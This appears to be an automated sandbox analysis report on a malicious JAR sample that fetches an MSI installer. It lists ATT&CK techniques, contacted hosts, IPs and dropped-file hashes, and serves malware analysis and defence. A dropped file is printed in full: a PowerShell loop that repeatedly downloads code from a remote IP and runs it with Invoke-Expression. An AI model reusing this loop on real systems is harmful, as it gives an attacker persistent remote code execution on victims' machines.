Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Exploitation for Client Execution	1 Services File Permissions Weakness	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 Services File Permissions Weakness	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Services File Permissions Weakness	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	2 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	22 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
23-April-24-ACH-7fa67756.jar	0%	ReversingLabs

Source	Detection	Scanner	Label
http://bugreport.sun.com/bugreport/	0%	URL Reputation	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiC	0%	Avira URL Cloud	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiS	0%	Avira URL Cloud	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msicurl.exe	0%	Avira URL Cloud	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi	0%	Avira URL Cloud	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiC:	0%	Avira URL Cloud	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiXq	0%	Avira URL Cloud	safe
http://64.95.10.191/	0%	Avira URL Cloud	safe
http://bugreport.sun.com/bugreport/k	0%	Avira URL Cloud	safe
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiWinSta0	0%	Avira URL Cloud	safe
http://64.95.10.191/2220045058	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cryptonews.direct	172.67.168.231	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi	false	Avira URL Cloud: safe	unknown
http://64.95.10.191/2220045058	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://64.95.10.191/	sjm.19.dr	false	Avira URL Cloud: safe	unknown
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiC	java.exe, 00000002.00000002.1436738305.000000000460B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiS	java.exe, 00000002.00000002.1436738305.000000000460B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://java.oracle.com/	java.exe, 00000002.00000002.1439346877.0000000009750000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiC:	java.exe, 00000002.00000002.1440388947.0000000014D13000.00000004.00000020.00020000.00000000.sdmp, java.exe, 00000002.00000003.1323029932.0000000014D13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msicurl.exe	curl.exe, 0000000B.00000002.1286661864.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1286780766.0000000002C70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiXq	java.exe, 00000002.00000002.1440388947.0000000014D13000.00000004.00000020.00020000.00000000.sdmp, java.exe, 00000002.00000003.1323029932.0000000014D13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bugreport.sun.com/bugreport/k	java.exe, 00000002.00000002.1436738305.000000000472C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msiWinSta0	curl.exe, 0000000B.00000002.1286661864.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000002.1286780766.0000000002C70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://bugreport.sun.com/bugreport/	java.exe, 00000002.00000002.1439346877.00000000097F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.168.231	cryptonews.direct	United States		13335	CLOUDFLARENETUS	false
64.95.10.191	unknown	United States		31982	BRAHMAN-NYUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430484
Start date and time:	2024-04-23 17:45:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsfilecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Java) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	23-April-24-ACH-7fa67756.jar
Detection:	MAL
Classification:	mal52.troj.expl.winJAR@115/28@1/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 88% Number of executed functions: 9 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .jar Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.45.182.73, 23.45.182.103, 23.45.182.100, 23.45.182.112
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target java.exe, PID 6152 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: 23-April-24-ACH-7fa67756.jar

Simulations

Behavior and APIs

Time	Type	Description
17:46:13	API Interceptor	12501075x Sleep call for process: powershell.exe modified
17:46:14	API Interceptor	1x Sleep call for process: dllhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	_file____C__Users_hp_Downloads_C__Users_moodyt_AppData_Local_Temp_2_RemittanceAdvice17-Apr-2024.html	Get hash	malicious	Unknown	Browse	104.26.8.50
	Remittance. #U0440df.html	Get hash	malicious	HTMLPhisher	Browse	104.17.208.58
	http://geoguesser.com/seterra/en-an/vpg/3811?C=K44CT	Get hash	malicious	Unknown	Browse	172.67.188.149
	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	172.67.196.42
	https://bitly.ws/3icqP?bUL=OnEzsOzmqR	Get hash	malicious	Unknown	Browse	172.67.183.48
	http://geoguesser.com/seterra/en-an/vpg/3800	Get hash	malicious	Unknown	Browse	172.67.188.149
	https://docs-paymentreceipts.info	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://go-g3t-msg.com/clk/a_OsB_gBHRWO62vTWAvzpOfGhlvCmgnqQuB_nVFpwp0KsQNH4MVSSKRIuzJYdR_BaVVJ5ZUVsLA7nr4fsUb6_LUiF6WGpw3bjwuz5vIgSMwTtrE34sfAdm_UkarEQxhut5pfRW1RXCEHttsR2H4S_hK5eTdM2QP7CpynnqXHAbBrQcsZM-9kqSh5d_nLiZhEZPZ8-fFHjtAo-IjMx8qNxpwUaG3dVXhIP_Sup8raijFjXrg2qZL33tH_5PvkpDXJwZtdK-fqRvdTEjPP1v26xG4zHKIduU5irbL6N1Be1W_4vpi6D3s8twjJ8VAELgUZErAiigzfRVU0knOdQpcprkwW48npT3pYYpFqQU_lE9JBwESVd70JOVQuZWj_0cT7YVVRRta1y8F8vjFBDtNL73BXlqjP5sWlGZtuOnQDJ-iEKMXGy1W4uSrGBn5j07qBR3I1glqsVkAz7msz4iUFsVZ76hS_yvRcDNZBMYnXgKJRgA1A2nVJ9rwv5a55G82GhCYmOQvkUs0eG7vFHjr8gNQtxUn0q5LeVhTPJbym_uRj-gxiLJDjsLnSJXJ4eGtDvxVqhkaqM2P03jYs6BzR_fyd4ak2ZNKBm4FiGWKP44e6keEO2eNlfhZPBYG9OMlI3UM7jaU5YayqoO3Z	Get hash	malicious	Unknown	Browse	1.1.1.1
	CR-FEDEX_TN-775720741041.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	https://main-bvxea6i-qhygy63sspp2a.ca-1.platformsh.site/sample-page/	Get hash	malicious	HTMLPhisher	Browse	172.67.142.234
BRAHMAN-NYUS	z5BtaqcOWn.exe	Get hash	malicious	Unknown	Browse	64.95.10.243
	https://assets-usa.mkt.dynamics.com/80915e83-72d1-ee11-9048-002248282c18/digitalassets/standaloneforms/5cda353e-6bd2-ee11-9079-000d3a99146a	Get hash	malicious	Unknown	Browse	64.95.10.68
	https://assets-usa.mkt.dynamics.com/80915e83-72d1-ee11-9048-002248282c18/digitalassets/standaloneforms/5cda353e-6bd2-ee11-9079-000d3a99146a	Get hash	malicious	Unknown	Browse	64.95.10.68

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	New Soft Update.exe	Get hash	malicious	Unknown	Browse	172.67.168.231
	u2.bat	Get hash	malicious	Bazar Loader, Qbot	Browse	172.67.168.231
	SecuriteInfo.com.Python.Stealer.1447.10844.3562.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	172.67.168.231
	4PPlLk8IT5.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	172.67.168.231
	SecuriteInfo.com.Trojan.GenericKD.72333858.1744.9991.exe	Get hash	malicious	Unknown	Browse	172.67.168.231
	pRcbxPdooL.exe	Get hash	malicious	Unknown	Browse	172.67.168.231
	Payslip-9583.exe	Get hash	malicious	Unknown	Browse	172.67.168.231
	https://d226ryxb715ss0.cloudfront.net/OPNC-v1.1.25.0.msi	Get hash	malicious	Unknown	Browse	172.67.168.231
	RKeUGmUe.posh.ps1	Get hash	malicious	Unknown	Browse	172.67.168.231
	MkVtrMLG.posh.ps1	Get hash	malicious	Unknown	Browse	172.67.168.231

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	9533
Entropy (8bit):	5.587762066473659
Encrypted:	false
SSDEEP:	96:wn2apnXdwGeCBN8LU59CCsThqBLU59CC6jeEOeIkThqhHRjpFMUw8NkclChC6pgK:w2apnRewl59BIR59BxEbTU0U6pHEQ
MD5:	C81F177E7856B892EB6FCF4BAB7419D3
SHA1:	9B3DC77DBE50E4446CA021195F36BD4AC4C3627A
SHA-256:	FC4DE9ABF182A4FF3E83AFCCD1241228667A6C5702C58A023B0CC20667A4AFB8
SHA-512:	34BC466EE2E88D12A0963DB0964969D9F0AB1D16DB49F2FE12911600FE4B818E51213AF2D98BB62C83CF8129978BCD3201A94EDC33C4AFB32384CD55484BEF4F
Malicious:	false
Preview:	...@IXOS.@.....@..X.@.....@.....@.....@.....@.....@......&.{5388A5D6-8B37-4242-B64C-4D72F236B407}..MSD Setup..aHPCrYM1.msi.@.....@.....@.....@........&.{D59C64C0-985A-437E-9F88-C578DBDDC731}.....@.....@.....@.....@.......@.....@.....@.......@......MSD Setup......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{5388A5D6-8B37-4242-B64C-4D728033EE88}&.{5388A5D6-8B37-4242-B64C-4D72F236B407}.@......&.{5388A5D6-8B37-4242-B64C-4D72F511202A}&.{5388A5D6-8B37-4242-B64C-4D72F236B407}.@......&.{5388A5D6-8B37-4242-B64C-4D7245AF011A}&.{5388A5D6-8B37-4242-B64C-4D72F236B407}.@......&.{5388A5D6-8B37-4242-B64C-4D7288057524}&.{5388A5D6-8B37-4242-B64C-4D72F236B407}.@......&.{5388A5D6-8B37-4242-B64C-4D7235B6147A}&.{5388A5D6-8B37-4242-B64C-4D72F236B407}.@........CreateFolders..Creating folders..Folder: [1]"...C:\ProgramData\.@.............. .......,.............................x..................................

C:\ProgramData\Oracle\Java\.oracle_jre_usage\b5820291038aa69c.timestamp

Download File

Process:	C:\Program Files (x86)\Java\jre-1.8\bin\java.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.834679141051596
Encrypted:	false
SSDEEP:	3:oFj4I5vpm4USH/yn:oJ5bH6
MD5:	9B2B9B08A9B8593CAA3EAA48A844C69D
SHA1:	9F1F5AF67115FF63D6B9D2D161A5BEEB2054FB68
SHA-256:	1816C34F50C8F4790164A2FFE9110810119FD0406B261CD2905D1F216F2D7754
SHA-512:	C4E13F14BA232467D941CDE710B181147A008089911E8F8D9DCD621216766F3B4AE152EF33BA45AD5429DBE0A48AE6A90A608C01EB646F8497085B76CA2C736A
Malicious:	false
Preview:	C:\Program Files (x86)\Java\jre-1.8..1713887154393..

C:\ProgramData\lgp\sjm

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	477
Entropy (8bit):	5.046983694783584
Encrypted:	false
SSDEEP:	6:0xAu7yLH3zQEM302ANAqwssVeK4yZfUUuYaH9sXUrsVeUrK5Yl4DFJav/FMgi0Tn:0GugH3UEM36ARf9i1QXVed5BFPV0wA
MD5:	ABC748D5FB1B867BB5F2645778D813B0
SHA1:	CB7B4A28D8A9F29C2552EE439E4FAE66D2C44D17
SHA-256:	5F5921A54F42F72CBC94976097D3FA905B3A28702F7DC47DAA64CA38091005A4
SHA-512:	16E84A95E6E35732227B03B3BEDB61C664FFE9F5B3B668BAD36BA1A04430D4AE67F20002FD4EFF1F4D7597246F9B6BFD8D73D7CC9962100F4365E326AAD04250
Malicious:	true
Preview:	.$fso = New-Object -Com "Scripting.FileSystemObject".$SerialNumber = $fso.GetDrive("c:\").SerialNumber.$SerialNumber = "{0:X}" -f $SerialNumber.$SerialNumber = [convert]::toint64($SerialNumber,16)..$serial = $SerialNumber.$ip = 'http://64.95.10.191/'.$url = $ip+$serial..$s = New-Object System.Net.WebClient.while ($true) {. ping 1.1.1.1..ping 1.1.1.1. try {. $result=$s.DownloadString($url). }. catch {. continue. }. Invoke-Expression $result.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.887486353364779
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdzVFn3eGOVpN6K3bkkjo5LgkjDt4iWN3yBGHB9sT:lVib49PVoGIpN6KQkj2kkjh4iUx4cYK6
MD5:	E3CC2E628C73E9D29D58817DFC1ADCC5
SHA1:	3720336F2BCB67ADACD9FED9645AC3FFDC67928D
SHA-256:	6C52B5B7085CA1A5EB18B7C7FF740BEC18D0911CCF7B321B4668EF725A912F3B
SHA-512:	6C5DC96D036DD24BE29720F1568EE70DB069EE5F3F91D59289A9E597C699D4BEBEBA5525B43B3BC7EAE3D467211C6826137FEF1A57E42593DB6E308A2237EE32
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2sljm0c.nhc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yp3c1nj5.x2f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\hsperfdata_user\6152

Download File

Process:	C:\Program Files (x86)\Java\jre-1.8\bin\java.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2982523161208361
Encrypted:	false
SSDEEP:	96:fyUr2ff8GmV32hVL/6Pt+BzDnUI1kASJYZQHrP1eVox3o:fyBX8G432hVL/6WUI1eJ2QHrPAVk
MD5:	043F2534C3ACABF3E26CDEA20D31791D
SHA1:	1C5A2C0E959C89BD70196E495596E42A406CBD14
SHA-256:	163AE98F1BB3D1D755E5A40B6BA7B16909F816CB72595675060731133D36E6C0
SHA-512:	F40143968B8D3DA5D27F4B02381479746FAA84D968C6A4260240DC80FF0E0A7CD57813328C184CC28A57DF5C0353F819446305194E02C3EB572BBD5780F9AC11
Malicious:	false
Preview:	.........9......).u..... .......8...........J...0...sun.rt._sync_Inflations.............8...........J...0...sun.rt._sync_Deflations.............@...........J...8...sun.rt._sync_ContendedLockAttempts..........8...........J...0...sun.rt._sync_FutileWakeups..........0...........J...(...sun.rt._sync_Parks..........@...........J...8...sun.rt._sync_EmptyNotifications.............8...........J...0...sun.rt._sync_Notifications..........8...........J...0...sun.rt._sync_SlowEnter..............8...........J...0...sun.rt._sync_SlowExit...............8...........J...0...sun.rt._sync_SlowNotify.............8...........J...0...sun.rt._sync_SlowNotifyAll..........8...........J...0...sun.rt._sync_FailedSpins............@...........J...8...sun.rt._sync_SuccessfulSpins................8...........J...0...sun.rt._sync_PrivateA...............8...........J...0...sun.rt._sync_PrivateB...............@...........J...8...sun.rt._sync_MonInCirculation...............8...........J...0...sun.rt._sync_MonScavenged...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\590aee7bdd69b59b.customDesusertions-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7248141497774925
Encrypted:	false
SSDEEP:	96:SBFQC7QDgkvhkvCCtkWnfWOoHOJQWnfWO3HOJU:SBFTAskWf7JQWfMJU
MD5:	778840C49F5A6776EE850147B66D0DAC
SHA1:	C20A9DB4652F9E510C8983FF3D96BAA93DBED7AA
SHA-256:	5C4AFCFFA4D9C0D4A24370B4127E6A50D33CA1C35C53E37887AC892508881AF5
SHA-512:	A931913E88374B6909C800B8DFE744B495A468F7DD09FD4F74E975B7ED62FB678ECE981740674688C9FB2B841D749B64378AD9550D2037B1B0B688CB36FCA9F6
Malicious:	false
Preview:	...................................FL..................F.".. ....'GDj...J..]....z.:{.............................:..DG..Yr?.D..U..k0.&...&.......bBDj....}gO.....$.]........t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.X.}..........................=...A.p.p.D.a.t.a...B.V.1......X.}..Roaming.@......EWsG.X.}..........................q>?.R.o.a.m.i.n.g.....\.1......X.}..MICROS~1..D......EWsG.X.}...........................t@.M.i.c.r.o.s.o.f.t.....V.1.....EW.J..Windows.@......EWsG.X.}..........................%...W.i.n.d.o.w.s.......1.....EWuG..STARTM~1..n......EWsG.X.}....................D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW.I..Programs..j......EWsG.X.}....................@.....?5..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EWsGEWsG..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EWsG.X.}................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\YBK27W652F4IJAVOUCH5.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7248141497774925
Encrypted:	false
SSDEEP:	96:SBFQC7QDgkvhkvCCtkWnfWOoHOJQWnfWO3HOJU:SBFTAskWf7JQWfMJU
MD5:	778840C49F5A6776EE850147B66D0DAC
SHA1:	C20A9DB4652F9E510C8983FF3D96BAA93DBED7AA
SHA-256:	5C4AFCFFA4D9C0D4A24370B4127E6A50D33CA1C35C53E37887AC892508881AF5
SHA-512:	A931913E88374B6909C800B8DFE744B495A468F7DD09FD4F74E975B7ED62FB678ECE981740674688C9FB2B841D749B64378AD9550D2037B1B0B688CB36FCA9F6
Malicious:	false
Preview:	...................................FL..................F.".. ....'GDj...J..]....z.:{.............................:..DG..Yr?.D..U..k0.&...&.......bBDj....}gO.....$.]........t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.X.}..........................=...A.p.p.D.a.t.a...B.V.1......X.}..Roaming.@......EWsG.X.}..........................q>?.R.o.a.m.i.n.g.....\.1......X.}..MICROS~1..D......EWsG.X.}...........................t@.M.i.c.r.o.s.o.f.t.....V.1.....EW.J..Windows.@......EWsG.X.}..........................%...W.i.n.d.o.w.s.......1.....EWuG..STARTM~1..n......EWsG.X.}....................D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW.I..Programs..j......EWsG.X.}....................@.....?5..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EWsGEWsG..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EWsG.X.}................

C:\Windows\Installer\46f335.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: This setup package will Install MSD Setup version 3.5.0, Author: MSD Setup, Keywords: Installer, Comments: This installer database contains the logic and data required to install MSD Setup., Template: Intel;1033, Revision Number: {D59C64C0-985A-437E-9F88-C578DBDDC731}, Create Time/Date: Tue Apr 23 10:56:26 2024, Last Saved Time/Date: Tue Apr 23 10:56:26 2024, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1528), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.790831399963701
Encrypted:	false
SSDEEP:	384:nzxSDkMI5kI0ey3M5sCJx5Pey3M5sC0qoXoCHo:/MS4eWMmCxeWMmC
MD5:	00A9FA63E6253CB5F8F8448281DDD054
SHA1:	083C7BF52727EDFFA8160308C677B4DA8A4F7815
SHA-256:	C76014007BA73EFC85FD7B1D9E9BCED4EA66DA7C4CF4DD1560EC0CF02361FC5B
SHA-512:	BED03ACA4562187AB1AA818AA8C53474982C84F5F6E5B0331A2AF4FEB51D5BC7B1AC1D495040DCD2B572827D019FA3FF04D808011FEBC9FC52113B93587CB7A5
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\46f337.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
